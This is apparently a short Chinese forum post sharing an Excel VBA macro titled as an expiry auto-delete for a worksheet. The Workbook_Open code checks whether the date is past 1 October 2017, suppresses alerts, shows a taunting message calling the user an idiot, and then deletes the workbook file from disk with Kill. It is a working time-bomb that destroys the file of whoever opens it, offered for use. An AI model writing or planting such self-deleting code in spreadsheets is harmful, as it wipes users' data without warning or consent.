工作表到期自动删除VBA
Private Sub Workbook_Open()If Date >= "2017-10-1" Then
Application.DisplayAlerts = False
MsgBox "你好，二货！你相信Excel会成精吗？" & vbCr & "表格我活够了，我要死了，再见~嘎嘎嘎嘎嘎~。"
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close
End With
End If
End Sub
页:
[1]